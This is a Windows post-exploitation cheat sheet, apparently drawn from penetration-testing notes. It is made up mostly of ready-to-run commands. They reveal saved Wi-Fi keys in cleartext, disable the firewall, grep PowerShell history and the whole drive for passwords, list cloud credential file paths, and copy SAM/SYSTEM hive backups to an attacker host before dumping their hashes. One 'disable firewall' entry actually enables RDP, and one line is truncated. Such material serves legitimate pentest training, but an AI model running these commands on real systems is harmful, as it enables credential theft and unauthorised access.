one way to find out whether you are in a virtual environment or not is to check the output. for example the picture bellow is the output from a windows 10 machine in virtualbox:
for OS name and version ( can add any other filter too ) :
$os = Get-WmiObject win32_operatingsystem $uptime = (Get-Date) - $os.ConvertToDateTime($os.LastBootUpTime) Write-Output ("Last boot: " + $os.ConvertToDateTime($os.LastBootUpTime))
You can also run this single line to get last boot time
systeminfo | more
Powershell History
ConsoleHost_history #Find the PATH where is saved
β
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
LOLBAS is a great collection of methods for a lot of windows post-exploitation and privilege escalation tasks including UAC bypass with windows built-in binaries.
netsh wlan show profile
netsh wlan show profile <SSID> key=clear
one-liner to extract all APs at once:
cls & echo. & for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on
routing info
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
network shares
net share
Find-DomainShare -ComputerDomain domain.local
firewall
# list firewall status and configs
netsh advfirewall firewall dump
# or
netsh firewall show state
netsh firewall show config
# list blocked ports
$f=New-object -comObject HNetCfg.FwPolicy2;$f.rules | where {$_.action -eq "0"} | select name,applicationname,localports
# Disable Firewall on Windows 7 via cmd
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
# Disable Firewall on Windows 7 via Powershell
powershell.exe -ExecutionPolicy Bypass -command 'Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" βValue'`
# Disable Firewall on any windows via cmd
netsh firewall set opmode disable
netsh Advfirewall set allprofiles state off
Users and Groups
Get current username
echo %USERNAME% || whoami
$env:username
list privileges
whoami /priv
whoami /groups
list all local users and groups
net user
whoami /all
net localgroup
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-WmiObject -Class Win32_UserAccount
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
local user home directories
dir C:\Users
Get-ChildItem C:\Users
find local admins
net localgroup Administrators
list logon requirements (useful for brute-forcing)
net accounts
get details about a user
net user [username]
get details about a group
net localgroup administrators
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
logged users/sessions
qwinsta
klist sessions
dump clipboard
powershell -command "Get-Clipboard"
Software and Processes
check 'always install elevated'
(both should be enabled in order to be vulnerable)
wmic product get name, version, vendor
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE
β
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
show system-wide updates
wmic qfe get Caption, Description, HotFixID, InstalledOn
uninstall software
(if you have privileges)
wmic product where name="<NAME>" call uninstall /INTERACTIVE:OFF
Services
view/start/stop a service
net start
wmic service list brief
sc query
Get-Service
sc start [name]
sc config [name] start= demand
sc stop [name]
get services real name with net start output
sc getkeyname "service name"
check the required privilege level for each service.
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
check if you can modify registry entries of any services
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
β
#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a
β
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"
Check if Authenticated Users or NT AUTHORITY\INTERACTIVE have FullControl. In that case you can change the binary that is going to be executed by the service.
not as straight forward as linux, we first have to create a listing of all directories in the drive we want (usually C drive):
dir /b /a /s c:\ > cdirs.txt
/b β Uses bare format (no heading information or summary)
/a β Displays files with specified attributes
/s β Displays files in specified directory and all subdirectories
then we search this file to find directories and files that might be interesting:
type cdirs.txt | findstr /i password
type c:\rto\c-dirs.txt | findstr /i ssh
type c:\rto\c-dirs.txt | findstr /i kdbx
type c:\rto\c-dirs.txt | findstr /i vnc
some of the interesting directories/files in windows:
The SAM and SYSTEM files are located in the C:\Windows\System32\config directory. The files are locked while Windows is running. Backups of the files may exist in the C:\Windows\Repair or C:\Windows\System32\config\RegBack directories.
if you find any backup files copy them to the attacker machine and use creddump7 to dump the hashes from SAM database:
copy C:\Windows\Repair\SAM \\192.168.1.11\tools\
copy C:\Windows\Repair\SYSTEM \\192.168.1.11\tools\
git clone https://github.com/Neohapsis/creddump7.git
python2 creddump7/pwdump.py SYSTEM SAM
##From user home.aws\credentialsAppData\Roaming\gcloud\credentials.dbAppData\Roaming\gcloud\legacy_credentialsAppData\Roaming\gcloud\access_tokens.db.azure\accessTokens.json.azure\azureProfile.json
Tools that search for passwords
βMSF-Credentials Pluginis a msf plugin I have created this plugin to automatically execute every metasploit POST module that searches for credentials inside the victim. Winpeas automatically search for all the files containing passwords mentioned in this page. Lazagne is another great tool to extract password from a system.
The tool SessionGopher search for sessions, usernames and passwords of several tools that save this data in clear text (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP)
net use K: \\<IP address\share IE C or Admin>
net use K: \\192.168.31.53\C <--this will connect to the K drive
net use K: \\192.168.31.53\C$ /user:george P@$$Word34